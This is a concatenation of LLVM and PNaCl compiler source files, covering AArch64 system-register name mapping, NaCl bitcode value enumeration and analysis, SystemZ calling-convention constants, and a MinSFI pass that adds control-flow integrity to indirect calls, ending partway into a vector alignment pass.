{"lorid_el1", LORID_EL1, AArch64::HasV8_1aOps},
// v8.1a "Virtualization host extensions" system registers
{"ttbr1_el2", TTBR1_EL2, AArch64::HasV8_1aOps},
{"contextidr_el2", CONTEXTIDR_EL2, AArch64::HasV8_1aOps},
{"cnthv_tval_el2", CNTHV_TVAL_EL2, AArch64::HasV8_1aOps},
{"cnthv_cval_el2", CNTHV_CVAL_EL2, AArch64::HasV8_1aOps},
{"cnthv_ctl_el2", CNTHV_CTL_EL2, AArch64::HasV8_1aOps},
{"sctlr_el12", SCTLR_EL12, AArch64::HasV8_1aOps},
{"cpacr_el12", CPACR_EL12, AArch64::HasV8_1aOps},
{"ttbr0_el12", TTBR0_EL12, AArch64::HasV8_1aOps},
{"ttbr1_el12", TTBR1_EL12, AArch64::HasV8_1aOps},
{"tcr_el12", TCR_EL12, AArch64::HasV8_1aOps},
{"afsr0_el12", AFSR0_EL12, AArch64::HasV8_1aOps},
{"afsr1_el12", AFSR1_EL12, AArch64::HasV8_1aOps},
{"esr_el12", ESR_EL12, AArch64::HasV8_1aOps},
{"far_el12", FAR_EL12, AArch64::HasV8_1aOps},
{"mair_el12", MAIR_EL12, AArch64::HasV8_1aOps},
{"amair_el12", AMAIR_EL12, AArch64::HasV8_1aOps},
{"vbar_el12", VBAR_EL12, AArch64::HasV8_1aOps},
{"contextidr_el12", CONTEXTIDR_EL12, AArch64::HasV8_1aOps},
{"cntkctl_el12", CNTKCTL_EL12, AArch64::HasV8_1aOps},
{"cntp_tval_el02", CNTP_TVAL_EL02, AArch64::HasV8_1aOps},
{"cntp_ctl_el02", CNTP_CTL_EL02, AArch64::HasV8_1aOps},
{"cntp_cval_el02", CNTP_CVAL_EL02, AArch64::HasV8_1aOps},
{"cntv_tval_el02", CNTV_TVAL_EL02, AArch64::HasV8_1aOps},
{"cntv_ctl_el02", CNTV_CTL_EL02, AArch64::HasV8_1aOps},
{"cntv_cval_el02", CNTV_CVAL_EL02, AArch64::HasV8_1aOps},
{"spsr_el12", SPSR_EL12, AArch64::HasV8_1aOps},
{"elr_el12", ELR_EL12, AArch64::HasV8_1aOps},
};
uint32_t
AArch64SysReg::SysRegMapper::fromString(StringRef Name, uint64_t FeatureBits,
bool &Valid) const {
std::string NameLower = Name.lower();
// First search the registers shared by all
for (unsigned i = 0; i < array_lengthof(SysRegMappings); ++i) {
if (SysRegMappings[i].isNameEqual(NameLower, FeatureBits)) {
Valid = true;
return SysRegMappings[i].Value;
}
}
// Now try the instruction-specific registers (either read-only or
// write-only).
for (unsigned i = 0; i < NumInstMappings; ++i) {
if (InstMappings[i].isNameEqual(NameLower, FeatureBits)) {
Valid = true;
return InstMappings[i].Value;
}
}
// Try to parse an S<op0>_<op1>_<Cn>_<Cm>_<op2> register name
Regex GenericRegPattern("^s([0-3])_([0-7])_c([0-9]|1[0-5])_c([0-9]|1[0-5])_([0-7])$");
SmallVector<StringRef, 5> Ops;
if (!GenericRegPattern.match(NameLower, &Ops)) {
Valid = false;
return -1;
}
uint32_t Op0 = 0, Op1 = 0, CRn = 0, CRm = 0, Op2 = 0;
uint32_t Bits;
Ops[1].getAsInteger(10, Op0);
Ops[2].getAsInteger(10, Op1);
Ops[3].getAsInteger(10, CRn);
Ops[4].getAsInteger(10, CRm);
Ops[5].getAsInteger(10, Op2);
Bits = (Op0 << 14) | (Op1 << 11) | (CRn << 7) | (CRm << 3) | Op2;
Valid = true;
return Bits;
}
std::string
AArch64SysReg::SysRegMapper::toString(uint32_t Bits, uint64_t FeatureBits) const {
// First search the registers shared by all
for (unsigned i = 0; i < array_lengthof(SysRegMappings); ++i) {
if (SysRegMappings[i].isValueEqual(Bits, FeatureBits)) {
return SysRegMappings[i].Name;
}
}
// Now try the instruction-specific registers (either read-only or
// write-only).
for (unsigned i = 0; i < NumInstMappings; ++i) {
if (InstMappings[i].isValueEqual(Bits, FeatureBits)) {
return InstMappings[i].Name;
}
}
assert(Bits < 0x10000);
uint32_t Op0 = (Bits >> 14) & 0x3;
uint32_t Op1 = (Bits >> 11) & 0x7;
uint32_t CRn = (Bits >> 7) & 0xf;
uint32_t CRm = (Bits >> 3) & 0xf;
uint32_t Op2 = Bits & 0x7;
return "s" + utostr(Op0)+ "_" + utostr(Op1) + "_c" + utostr(CRn)
+ "_c" + utostr(CRm) + "_" + utostr(Op2);
}
const AArch64NamedImmMapper::Mapping AArch64TLBI::TLBIMapper::TLBIMappings[] = {
{"ipas2e1is", IPAS2E1IS, 0},
{"ipas2le1is", IPAS2LE1IS, 0},
{"vmalle1is", VMALLE1IS, 0},
{"alle2is", ALLE2IS, 0},
{"alle3is", ALLE3IS, 0},
{"vae1is", VAE1IS, 0},
{"vae2is", VAE2IS, 0},
{"vae3is", VAE3IS, 0},
{"aside1is", ASIDE1IS, 0},
{"vaae1is", VAAE1IS, 0},
{"alle1is", ALLE1IS, 0},
{"vale1is", VALE1IS, 0},
{"vale2is", VALE2IS, 0},
{"vale3is", VALE3IS, 0},
{"vmalls12e1is", VMALLS12E1IS, 0},
{"vaale1is", VAALE1IS, 0},
{"ipas2e1", IPAS2E1, 0},
{"ipas2le1", IPAS2LE1, 0},
{"vmalle1", VMALLE1, 0},
{"alle2", ALLE2, 0},
{"alle3", ALLE3, 0},
{"vae1", VAE1, 0},
{"vae2", VAE2, 0},
{"vae3", VAE3, 0},
{"aside1", ASIDE1, 0},
{"vaae1", VAAE1, 0},
{"alle1", ALLE1, 0},
{"vale1", VALE1, 0},
{"vale2", VALE2, 0},
{"vale3", VALE3, 0},
{"vmalls12e1", VMALLS12E1, 0},
{"vaale1", VAALE1, 0}
};
AArch64TLBI::TLBIMapper::TLBIMapper()
: AArch64NamedImmMapper(TLBIMappings, 0) {}
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClAnalyzerBlockDist.cpp
//===-- NaClAnalyzerBlockDist.cpp -----------------------------------------===//
// implements distribution maps used to collect block and record
// distributions for tools pnacl-bcanalyzer.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClAnalyzerBlockDist.h"
using namespace llvm;
NaClAnalyzerBlockDistElement::~NaClAnalyzerBlockDistElement() {}
NaClBitcodeDistElement* NaClAnalyzerBlockDistElement::
CreateElement(NaClBitcodeDistValue Value) const {
return new NaClAnalyzerBlockDistElement(Value, OrderBlocksByID);
}
double NaClAnalyzerBlockDistElement::
GetImportance(NaClBitcodeDistValue Value) const {
if (OrderBlocksByID)
// Negate importance to "undo" reverse ordering of sort.
return -static_cast<double>(BlockID);
else
return NaClBitcodeBlockDistElement::GetImportance(Value);
}
const SmallVectorImpl<NaClBitcodeDist*> *NaClAnalyzerBlockDistElement::
GetNestedDistributions() const {
return &NestedDists;
}
void NaClAnalyzerBlockDist::AddRecord(const NaClBitcodeRecord &Record) {
cast<NaClAnalyzerBlockDistElement>(GetElement(Record.GetBlockID()))
->GetRecordDist().AddRecord(Record);
}
void NaClAnalyzerBlockDist::AddBlock(const NaClBitcodeBlock &Block) {
NaClBitcodeBlockDist::AddBlock(Block);
if (const NaClBitcodeBlock *EncBlock = Block.GetEnclosingBlock()) {
cast<NaClAnalyzerBlockDistElement>(GetElement(EncBlock->GetBlockID()))
->GetSubblockDist().AddBlock(Block);
}
}
<file_sep>/lib/Target/SystemZ/SystemZCallingConv.h
//===-- SystemZCallingConv.h - Calling conventions for SystemZ --*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_LIB_TARGET_SYSTEMZ_SYSTEMZCALLINGCONV_H
#define LLVM_LIB_TARGET_SYSTEMZ_SYSTEMZCALLINGCONV_H
namespace llvm {
namespace SystemZ {
const unsigned NumArgGPRs = 5;
extern const unsigned ArgGPRs[NumArgGPRs];
const unsigned NumArgFPRs = 4;
extern const unsigned ArgFPRs[NumArgFPRs];
} // end namespace SystemZ
} // end namespace llvm
#endif
<file_sep>/lib/Transforms/MinSFI/SandboxIndirectCalls.cpp
//===- SandboxIndirectCalls.cpp - Apply CFI to indirect function calls ----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This is a pass which applies basic control-flow integrity enforcement to
// indirect function calls as a mitigation technique against attempts to
// subvert code execution.
//
// Pointers to address-taken functions are placed into global function tables
// (one function table is created per signature) and pointers to functions are
// replaced with the respective table indices. Indirect function calls are
// rewritten to treat the target pointer as an index and to load the actual
// pointer from the corresponding table.
//
// The zero-index entry of each table is set to null to provide consistent
// behaviour for null pointers. Tables are also padded with null entries to
// round their size to the nearest power of two and indices passed to calls
// are bit-masked accordingly in order to prevent buffer overflow during the
// load from the table.
//
// Even if placed into different tables, two functions are never assigned the
// same index. Interpreting a function pointer as a function of an incorrect
// signature will therefore result in jumping to null.
//
// Pointer arithmetic is not allowed on function pointers and will result in
// undefined behaviour.
//
//===----------------------------------------------------------------------===//
#include "llvm/Pass.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Intrinsics.h"
#include "llvm/Support/MathExtras.h"
#include "llvm/Transforms/MinSFI.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
static const char InternalSymName_FunctionTable[] = "__sfi_function_table";
namespace {
// This pass needs to be a ModulePass because it adds a GlobalVariable.
class SandboxIndirectCalls : public ModulePass {
public:
static char ID;
SandboxIndirectCalls() : ModulePass(ID) {
initializeSandboxIndirectCallsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
} // namespace
static inline size_t RoundToPowerOf2(size_t n) {
if (isPowerOf2_64(n))
return n;
else
return NextPowerOf2(n);
}
static inline bool IsPtrToIntUse(const Use &FuncUse) {
if (isa<PtrToIntInst>(FuncUse.getUser()))
return true;
else if (auto *Expr = dyn_cast<ConstantExpr>(FuncUse.getUser()))
return Expr->getOpcode() == Instruction::PtrToInt;
else
return false;
}
// Function use is a direct call if the user is a call instruction and
// the function is its last operand.
static inline bool IsDirectCallUse(const Use &FuncUse) {
if (auto *Call = dyn_cast<CallInst>(FuncUse.getUser())) {
return FuncUse.getOperandNo() == Call->getNumOperands() - 1;
}
return false;
}
bool SandboxIndirectCalls::runOnModule(Module &M) {
typedef SmallVector<Constant*, 16> FunctionVector;
DataLayout DL(&M);
Type *I32 = Type::getInt32Ty(M.getContext());
Type *IntPtrType = DL.getIntPtrType(M.getContext());
// First, we find all address-taken functions and assign each an index.
// Pointers in code are then immediately replaced with these indices, even
// though the tables have not been created yet.
FunctionVector AddrTakenFuncs;
for (Module::iterator Func = M.begin(), E = M.end(); Func != E; ++Func) {
bool HasIndirectUse = false;
Constant *Index = ConstantInt::get(IntPtrType, AddrTakenFuncs.size() + 1);
for (auto &Use : Func->uses()) {
if (IsPtrToIntUse(Use)) {
HasIndirectUse = true;
Use.getUser()->replaceAllUsesWith(Index);
if (auto *UserInst = dyn_cast<Instruction>(Use.getUser()))
UserInst->eraseFromParent();
} else if (!IsDirectCallUse(Use)) {
report_fatal_error("SandboxIndirectCalls: Invalid reference to "
"function @" + Func->getName());
}
}
if (HasIndirectUse)
AddrTakenFuncs.push_back(Func);
}
// Return if no address-taken functions have been found.
if (AddrTakenFuncs.empty())
return false;
// Generate and fill out the function tables. Their size is rounded up to the
// nearest power of two, index zero is reserved for null and functions are
// stored under the indices that were assigned to them earlier.
size_t FuncIndex = 1;
size_t TableSize = RoundToPowerOf2(AddrTakenFuncs.size() + 1);
DenseMap<PointerType*, FunctionVector> TableEntries;
for (FunctionVector::iterator It = AddrTakenFuncs.begin(),
E = AddrTakenFuncs.end(); It != E; ++It) {
Constant *Func = (*It);
PointerType *FuncType = cast<PointerType>(Func->getType());
FunctionVector &Table = TableEntries[FuncType];
// If this table has not been initialized yet, fill it with nulls.
if (Table.empty())
Table.assign(TableSize, ConstantPointerNull::get(FuncType));
Table[FuncIndex++] = Func;
}
// Create a global variable for each of the function tables.
DenseMap<PointerType*, GlobalVariable*> TableGlobals;
for (DenseMap<PointerType*, FunctionVector>::iterator
Iter = TableEntries.begin(), E = TableEntries.end(); Iter != E; ++Iter) {
PointerType *FuncType = Iter->first;
FunctionVector &Table = Iter->second;
Constant *TableArray =
ConstantArray::get(ArrayType::get(FuncType, TableSize), Table);
TableGlobals[FuncType] =
new GlobalVariable(M, TableArray->getType(), /*isConstant=*/true,
GlobalVariable::InternalLinkage, TableArray,
InternalSymName_FunctionTable);
}
// Iterate over all call instructions and replace integers casted to function
// pointers with a load from the corresponding function table (because now
// the integers are not pointers but indices).
Constant *IndexMask = ConstantInt::get(IntPtrType, TableSize - 1);
for (Module::iterator Func = M.begin(), EFunc = M.end();
Func != EFunc; ++Func) {
for (Function::iterator BB = Func->begin(), EBB = Func->end();
BB != EBB; ++BB) {
for (BasicBlock::iterator Inst = BB->begin(), EInst = BB->end();
Inst != EInst; ++Inst) {
if (CallInst *Call = dyn_cast<CallInst>(Inst)) {
Value *Callee = Call->getCalledValue();
if (IntToPtrInst *Cast = dyn_cast<IntToPtrInst>(Callee)) {
Value *FuncIndex = Cast->getOperand(0);
PointerType *FuncType = cast<PointerType>(Cast->getType());
Constant *GlobalVar = TableGlobals[FuncType];
Value *FuncPtr;
if (GlobalVar) {
Instruction *MaskedIndex =
BinaryOperator::CreateAnd(FuncIndex, IndexMask, "", Call);
Value *Indexes[] = { ConstantInt::get(I32, 0), MaskedIndex };
Instruction *TableElemPtr = GetElementPtrInst::Create(
cast<PointerType>(GlobalVar->getType())->getElementType(),
GlobalVar, Indexes, "", Call);
FuncPtr = CopyDebug(new LoadInst(TableElemPtr, "", Call), Cast);
} else {
// There is no function table for this signature, i.e. the module
// does not contain a function which could be called at this site.
// We replace the pointer with a null and put a trap in front of
// the call because it should never be called.
CallInst::Create(Intrinsic::getDeclaration(&M, Intrinsic::trap),
"", Call);
FuncPtr = ConstantPointerNull::get(FuncType);
}
Call->setCalledFunction(FuncPtr);
if (Cast->use_empty())
Cast->eraseFromParent();
}
}
}
}
}
return true;
}
char SandboxIndirectCalls::ID = 0;
INITIALIZE_PASS(SandboxIndirectCalls, "minsfi-sandbox-indirect-calls",
"Add CFI to indirect calls", false, false)
ModulePass *llvm::createSandboxIndirectCallsPass() {
return new SandboxIndirectCalls();
}
<file_sep>/lib/Bitcode/NaCl/Writer/NaClValueEnumerator.cpp
//===-- NaClValueEnumerator.cpp ------------------------------------------===//
// Number values and types for bitcode writer
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements the NaClValueEnumerator class.
//
//===----------------------------------------------------------------------===//
#include "NaClValueEnumerator.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/ADT/SmallPtrSet.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/ValueSymbolTable.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/raw_ostream.h"
#include <algorithm>
#include <set>
using namespace llvm;
static bool isIntOrIntVectorValue(const std::pair<const Value*, unsigned> &V) {
return V.first->getType()->isIntOrIntVectorTy();
}
/// NaClValueEnumerator - Enumerate module-level information.
NaClValueEnumerator::NaClValueEnumerator(const Module *M) {
// Create map for counting frequency of types, and set field
// TypeCountMap accordingly. Note: Pointer field TypeCountMap is
// used to deal with the fact that types are added through various
// method calls in this routine. Rather than pass it as an argument,
// we use a field. The field is a pointer so that the memory
// footprint of count_map can be garbage collected when this
// constructor completes.
TypeCountMapType count_map;
TypeCountMap = &count_map;
IntPtrType = IntegerType::get(M->getContext(), PNaClIntPtrTypeBitSize);
// Enumerate the functions. Note: We do this before global
// variables, so that global variable initializations can refer to
// the functions without a forward reference.
for (Module::const_iterator I = M->begin(), E = M->end(); I != E; ++I) {
EnumerateValue(I);
}
// Enumerate the global variables.
FirstGlobalVarID = Values.size();
for (Module::const_global_iterator I = M->global_begin(),
E = M->global_end(); I != E; ++I)
EnumerateValue(I);
NumGlobalVarIDs = Values.size() - FirstGlobalVarID;
// Enumerate the aliases.
for (Module::const_alias_iterator I = M->alias_begin(), E = M->alias_end();
I != E; ++I)
EnumerateValue(I);
// Remember what is the cutoff between globalvalue's and other constants.
unsigned FirstConstant = Values.size();
// Skip global variable initializers since they are handled within
// WriteGlobalVars of file NaClBitcodeWriter.cpp.
// Enumerate the aliasees.
for (Module::const_alias_iterator I = M->alias_begin(), E = M->alias_end();
I != E; ++I)
EnumerateValue(I->getAliasee());
// Insert constants that are named at module level into the slot
// pool so that the module symbol table can refer to them...
EnumerateValueSymbolTable(M->getValueSymbolTable());
// Enumerate types used by function bodies and argument lists.
for (Module::const_iterator F = M->begin(), E = M->end(); F != E; ++F) {
for (Function::const_arg_iterator I = F->arg_begin(), E = F->arg_end();
I != E; ++I)
EnumerateType(I->getType());
for (Function::const_iterator BB = F->begin(), E = F->end(); BB != E; ++BB)
for (BasicBlock::const_iterator I = BB->begin(), E = BB->end(); I!=E;++I){
// For elided pointer casts, add the type(s) of the elided value, which
// may be defined elsewhere.
const Value *ElidedI = ElideCasts(I);
if (ElidedI != I) {
EnumerateOperandType(ElidedI);
continue;
}
if (const SwitchInst *SI = dyn_cast<SwitchInst>(I)) {
// Handle switch instruction specially, so that we don't
// write out unnecessary vector/array types used to model case
// selectors.
EnumerateOperandType(SI->getCondition());
} else {
for (User::const_op_iterator OI = I->op_begin(), E = I->op_end();
OI != E; ++OI) {
EnumerateOperandType(*OI);
}
}
EnumerateType(I->getType());
}
}
// Optimized type indicies to put "common" expected types in with small
// indices.
OptimizeTypes(M);
TypeCountMap = NULL;
// Optimize constant ordering.
OptimizeConstants(FirstConstant, Values.size());
}
void NaClValueEnumerator::OptimizeTypes(const Module *M) {
// Sort types by count, so that we can index them based on
// frequency. Use indices of built TypeMap, so that order of
// construction is repeatable.
std::set<unsigned> type_counts;
typedef std::set<unsigned> TypeSetType;
std::map<unsigned, TypeSetType> usage_count_map;
TypeList IdType(Types);
for (TypeCountMapType::iterator iter = TypeCountMap->begin();
iter != TypeCountMap->end(); ++ iter) {
type_counts.insert(iter->second);
usage_count_map[iter->second].insert(TypeMap[iter->first]-1);
}
// Reset type tracking maps, so that we can re-enter based
// on fequency ordering.
TypeCountMap = NULL;
Types.clear();
TypeMap.clear();
// Reinsert types, based on frequency.
for (std::set<unsigned>::reverse_iterator count_iter = type_counts.rbegin();
count_iter != type_counts.rend(); ++count_iter) {
TypeSetType& count_types = usage_count_map[*count_iter];
for (TypeSetType::iterator type_iter = count_types.begin();
type_iter != count_types.end(); ++type_iter)
EnumerateType((IdType[*type_iter]), true);
}
}
unsigned NaClValueEnumerator::getInstructionID(const Instruction *Inst) const {
InstructionMapType::const_iterator I = InstructionMap.find(Inst);
assert(I != InstructionMap.end() && "Instruction is not mapped!");
return I->second;
}
void NaClValueEnumerator::setInstructionID(const Instruction *I) {
InstructionMap[I] = InstructionCount++;
}
unsigned NaClValueEnumerator::getValueID(const Value *V) const {
ValueMapType::const_iterator I = ValueMap.find(V);
assert(I != ValueMap.end() && "Value not in slotcalculator!");
return I->second-1;
}
void NaClValueEnumerator::dump() const {
print(dbgs(), ValueMap, "Default");
dbgs() << '\n';
}
void NaClValueEnumerator::print(raw_ostream &OS, const ValueMapType &Map,
const char *Name) const {
OS << "Map Name: " << Name << "\n";
OS << "Size: " << Map.size() << "\n";
for (ValueMapType::const_iterator I = Map.begin(),
E = Map.end(); I != E; ++I) {
const Value *V = I->first;
if (V->hasName())
OS << "Value: " << V->getName();
else
OS << "Value: [null]\n";
V->dump();
OS << " Uses(" << std::distance(V->use_begin(),V->use_end()) << "):";
for (Value::const_use_iterator UI = V->use_begin(), UE = V->use_end();
UI != UE; ++UI) {
if (UI != V->use_begin())
OS << ",";
if((*UI)->hasName())
OS << " " << (*UI)->getName();
else
OS << " [null]";
}
OS << "\n\n";
}
}
// Optimize constant ordering.
namespace {
struct CstSortPredicate {
NaClValueEnumerator &VE;
explicit CstSortPredicate(NaClValueEnumerator &ve) : VE(ve) {}
bool operator()(const std::pair<const Value*, unsigned> &LHS,
const std::pair<const Value*, unsigned> &RHS) {
// Sort by plane.
if (LHS.first->getType() != RHS.first->getType())
return VE.getTypeID(LHS.first->getType()) <
VE.getTypeID(RHS.first->getType());
// Then by frequency.
return LHS.second > RHS.second;
}
};
}
/// OptimizeConstants - Reorder constant pool for denser encoding.
void NaClValueEnumerator::OptimizeConstants(unsigned CstStart, unsigned CstEnd) {
if (CstStart == CstEnd || CstStart+1 == CstEnd) return;
CstSortPredicate P(*this);
std::stable_sort(Values.begin()+CstStart, Values.begin()+CstEnd, P);
// Ensure that integer and vector of integer constants are at the start of the
// constant pool. This is important so that GEP structure indices come before
// gep constant exprs.
std::partition(Values.begin()+CstStart, Values.begin()+CstEnd,
isIntOrIntVectorValue);
// Rebuild the modified portion of ValueMap.
for (; CstStart != CstEnd; ++CstStart)
ValueMap[Values[CstStart].first] = CstStart+1;
}
/// EnumerateValueSymbolTable - Insert all of the values in the specified symbol
/// table into the values table.
void NaClValueEnumerator::EnumerateValueSymbolTable(const ValueSymbolTable &VST) {
for (ValueSymbolTable::const_iterator VI = VST.begin(), VE = VST.end();
VI != VE; ++VI)
EnumerateValue(VI->getValue());
}
void NaClValueEnumerator::EnumerateValue(const Value *VIn) {
// Skip over elided values.
const Value *V = ElideCasts(VIn);
if (V != VIn) return;
assert(!V->getType()->isVoidTy() && "Can't insert void values!");
// Check to see if it's already in!
unsigned &ValueID = ValueMap[V];
if (ValueID) {
// Increment use count.
Values[ValueID-1].second++;
return;
}
// Enumerate the type of this value. Skip global values since no
// types are dumped for global variables.
if (!isa<GlobalVariable>(V))
EnumerateType(V->getType());
if (const Constant *C = dyn_cast<Constant>(V)) {
if (isa<GlobalValue>(C)) {
// Initializers for globals are handled explicitly elsewhere.
} else if (C->getNumOperands()) {
// If a constant has operands, enumerate them. This makes sure that if a
// constant has uses (for example an array of const ints), that they are
// inserted also.
// We prefer to enumerate them with values before we enumerate the user
// itself. This makes it more likely that we can avoid forward references
// in the reader. We know that there can be no cycles in the constants
// graph that don't go through a global variable.
for (User::const_op_iterator I = C->op_begin(), E = C->op_end();
I != E; ++I)
if (!isa<BasicBlock>(*I)) // Don't enumerate BB operand to BlockAddress.
EnumerateValue(*I);
// Finally, add the value. Doing this could make the ValueID reference be
// dangling, don't reuse it.
Values.push_back(std::make_pair(V, 1U));
ValueMap[V] = Values.size();
return;
}
}
// Add the value.
Values.push_back(std::make_pair(V, 1U));
ValueID = Values.size();
}
Type *NaClValueEnumerator::NormalizeType(Type *Ty) const {
if (Ty->isPointerTy())
return IntPtrType;
if (FunctionType *FTy = dyn_cast<FunctionType>(Ty)) {
SmallVector<Type *, 8> ArgTypes;
for (unsigned I = 0, E = FTy->getNumParams(); I < E; ++I)
ArgTypes.push_back(NormalizeType(FTy->getParamType(I)));
return FunctionType::get(NormalizeType(FTy->getReturnType()),
ArgTypes, false);
}
return Ty;
}
void NaClValueEnumerator::EnumerateType(Type *Ty, bool InsideOptimizeTypes) {
// Pointer types do not need to be given type IDs.
if (Ty->isPointerTy())
Ty = Ty->getPointerElementType();
Ty = NormalizeType(Ty);
// The label type does not need to be given a type ID.
if (Ty->isLabelTy())
return;
// This function is used to enumerate types referenced by the given
// module. This function is called in two phases, based on the value
// of TypeCountMap. These phases are:
//
// (1) In this phase, InsideOptimizeTypes=false. We are collecting types
// and all corresponding (implicitly) referenced types. In addition,
// we are keeping track of the number of references to each type in
// TypeCountMap. These reference counts will be used by method
// OptimizeTypes to associate the smallest type ID's with the most
// referenced types.
//
// (2) In this phase, InsideOptimizeTypes=true. We are registering types
// based on frequency. To minimize type IDs for frequently used
// types, (unlike the other context) we are inserting the minimal
// (implicitly) referenced types needed for each type.
unsigned *TypeID = &TypeMap[Ty];
if (TypeCountMap) ++((*TypeCountMap)[Ty]);
// We've already seen this type.
if (*TypeID)
return;
// If it is a non-anonymous struct, mark the type as being visited so that we
// don't recursively visit it. This is safe because we allow forward
// references of these in the bitcode reader.
if (StructType *STy = dyn_cast<StructType>(Ty))
if (!STy->isLiteral())
*TypeID = ~0U;
// If in the second phase (i.e. inside optimize types), don't expand
// pointers to structures, since we can just generate a forward
// reference to it. This way, we don't use up unnecessary (small) ID
// values just to define the pointer.
bool EnumerateSubtypes = true;
if (InsideOptimizeTypes)
if (PointerType *PTy = dyn_cast<PointerType>(Ty))
if (StructType *STy = dyn_cast<StructType>(PTy->getElementType()))
if (!STy->isLiteral())
EnumerateSubtypes = false;
// Enumerate all of the subtypes before we enumerate this type. This ensures
// that the type will be enumerated in an order that can be directly built.
if (EnumerateSubtypes) {
for (Type::subtype_iterator I = Ty->subtype_begin(), E = Ty->subtype_end();
I != E; ++I)
EnumerateType(*I, InsideOptimizeTypes);
}
// Refresh the TypeID pointer in case the table rehashed.
TypeID = &TypeMap[Ty];
// Check to see if we got the pointer another way. This can happen when
// enumerating recursive types that hit the base case deeper than they start.
//
// If this is actually a struct that we are treating as forward ref'able,
// then emit the definition now that all of its contents are available.
if (*TypeID && *TypeID != ~0U)
return;
// Add this type now that its contents are all happily enumerated.
Types.push_back(Ty);
*TypeID = Types.size();
}
// Enumerate the types for the specified value. If the value is a constant,
// walk through it, enumerating the types of the constant.
void NaClValueEnumerator::EnumerateOperandType(const Value *V) {
// Note: We intentionally don't create a type id for global variables,
// since the type is automatically generated by the reader before any
// use of the global variable.
if (isa<GlobalVariable>(V)) return;
EnumerateType(V->getType());
if (const Constant *C = dyn_cast<Constant>(V)) {
// If this constant is already enumerated, ignore it, we know its type must
// be enumerated.
if (ValueMap.count(V)) return;
// This constant may have operands, make sure to enumerate the types in
// them.
for (unsigned i = 0, e = C->getNumOperands(); i != e; ++i) {
const Value *Op = C->getOperand(i);
// Don't enumerate basic blocks here, this happens as operands to
// blockaddress.
if (isa<BasicBlock>(Op)) continue;
EnumerateOperandType(Op);
}
}
}
void NaClValueEnumerator::incorporateFunction(const Function &F) {
InstructionCount = 0;
NumModuleValues = Values.size();
// Make sure no insertions outside of a function.
assert(FnForwardTypeRefs.empty());
// Adding function arguments to the value table.
for (Function::const_arg_iterator I = F.arg_begin(), E = F.arg_end();
I != E; ++I)
EnumerateValue(I);
FirstFuncConstantID = Values.size();
// Add all function-level constants to the value table.
for (Function::const_iterator BB = F.begin(), E = F.end(); BB != E; ++BB) {
for (BasicBlock::const_iterator I = BB->begin(), E = BB->end(); I!=E; ++I) {
if (const SwitchInst *SI = dyn_cast<SwitchInst>(I)) {
// Handle switch instruction specially, so that we don't write
// out unnecessary vector/array constants used to model case selectors.
if (isa<Constant>(SI->getCondition())) {
EnumerateValue(SI->getCondition());
}
} else {
for (User::const_op_iterator OI = I->op_begin(), E = I->op_end();
OI != E; ++OI) {
if ((isa<Constant>(*OI) && !isa<GlobalValue>(*OI)) ||
isa<InlineAsm>(*OI))
EnumerateValue(*OI);
}
}
}
BasicBlocks.push_back(BB);
ValueMap[BB] = BasicBlocks.size();
}
// Optimize the constant layout.
OptimizeConstants(FirstFuncConstantID, Values.size());
FirstInstID = Values.size();
// Add all of the instructions.
for (Function::const_iterator BB = F.begin(), E = F.end(); BB != E; ++BB) {
for (BasicBlock::const_iterator I = BB->begin(), E = BB->end(); I!=E; ++I) {
if (!I->getType()->isVoidTy())
EnumerateValue(I);
}
}
}
void NaClValueEnumerator::purgeFunction() {
/// Remove purged values from the ValueMap.
for (unsigned i = NumModuleValues, e = Values.size(); i != e; ++i)
ValueMap.erase(Values[i].first);
for (unsigned i = 0, e = BasicBlocks.size(); i != e; ++i)
ValueMap.erase(BasicBlocks[i]);
Values.resize(NumModuleValues);
BasicBlocks.clear();
FnForwardTypeRefs.clear();
}
// The normal form required by the PNaCl ABI verifier (documented in
// ReplacePtrsWithInts.cpp) allows us to omit the following pointer
// casts from the bitcode file.
const Value *NaClValueEnumerator::ElideCasts(const Value *V) const {
if (const Instruction *I = dyn_cast<Instruction>(V)) {
switch (I->getOpcode()) {
default:
break;
case Instruction::BitCast:
if (I->getType()->isPointerTy()) {
V = I->getOperand(0);
}
break;
case Instruction::IntToPtr:
V = ElideCasts(I->getOperand(0));
break;
case Instruction::PtrToInt:
if (IsIntPtrType(I->getType())) {
V = I->getOperand(0);
}
break;
}
}
return V;
}
<file_sep>/lib/Transforms/NaCl/FixVectorLoadStoreAlignment.cpp
//===- FixVectorLoadStoreAlignment.cpp - Vector load/store alignment ------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Fix vector load/store alignment by:
// - Leaving as-is if the alignment is equal to the vector's element width.
// - Reducing the alignment to vector's element width if it's greater and the
// current alignment is a factor of the element alignment.
// - Scalarizing if the alignment is smaller than the element-wise alignment.
//
// Volatile vector load/store are handled the same, and can therefore be broken
// up as allowed by C/C++.
//
// TODO(jfb) Atomic accesses cause errors at compile-time. This could be
// implemented as a call to the C++ runtime, since 128-bit atomics
// aren't usually lock-free.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/Instruction.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
